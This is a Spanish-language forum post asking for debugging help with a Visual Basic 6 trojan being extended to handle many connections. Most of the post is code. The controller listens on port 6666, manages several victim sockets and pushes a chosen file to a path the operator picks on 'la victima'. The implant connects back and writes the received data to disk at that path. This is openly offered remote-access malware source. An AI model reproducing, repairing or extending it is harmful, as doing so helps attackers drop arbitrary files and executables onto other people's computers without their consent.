Buenas la cuestion es la siguien resulta que estaba haciendo el troyano para una sola conexión y funcionaba perfecto, el tema es que cuando me meti a ver como hacerlo con muchas conexiones se me complico un poco, ya que no puedo transferir archivos, pero si ejecutarlos, no me tira ningun error ni nada simplemente cuando me voy a fijar si transfirio el archivo este no esta. Resumi un poco el code.
ACA VA EL CODE:
CLENTE
Dim filesize As Long, filedata As String, bytes As Long, directorio As String, socket As Variant
Private Sub Command1_Click()
cd.Filter = "Todos los archivos |*.*" 'pongo el filtro de los exes
cd.ShowOpen 'muestro la ventana para abrir el archivo
Open cd.FileName For Binary As #1 'abro el archivo en modo binario
filedata = Input(LOF(1), 1)'lo guardo
Close #1 'lo cierro
nombre = cd.FileTitle'guardo el nobre del archivo
directorio = InputBox("elige la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", directorio)'la ruta donde se guardara el archivo en el server
directorio = directorio & nombre'concateno
filesize = Len(filedata) 'calcula el tamaño en bytes'calculo el tamaño del archivo
ws2(socket).SendData "archivo" & "|" & filesize & "|" & directorio & "|" & filedata'mando estos datos
End Sub
Private Sub Form_Load()
ws.LocalPort = 6666
ws.Close
ws.Listen
End Sub
Private Function NuevoSocket() As Integer
Dim numElementos As Integer
Dim i As Integer
numElementos = ws2.UBound
For i = 0 To numElementos
If ws2(i).State = sckClosed Then
NuevoSocket = i
Exit Function
End If
Next
Load ws2(numElementos + 1)
NuevoSocket = ws2.UBound
End Function
Private Sub List1_Click()
socket = List1.Text
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
Dim numSocket As Integer
numSocket = NuevoSocket
ws2(numSocket).Accept requestID
List1.AddItem numSocket
End Sub
SERVIDOR
Dim filesize As Long, filedata As String, bytes As Long, directorio As String
Private Sub Form_Load()
ws.RemotePort = 6666
ws.RemoteHost = "127.0.0.1"
ws.Connect
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
ws.GetData datos 'agarro los datos
If Left(datos, 7) = "archivo" Then 'si los primeros 7 caracteres son "archivo" entonces
dato = Split(datos, "|") 'separo
filesize = dato(1)
directorio = dato(2)
filedata = dato(3)
Open directorio For Binary As #1 'abro un directorio, con la variable directorio
Put #1, 1, filedata'y coloco el archivo
Close #1'lo cierro
End If
End Sub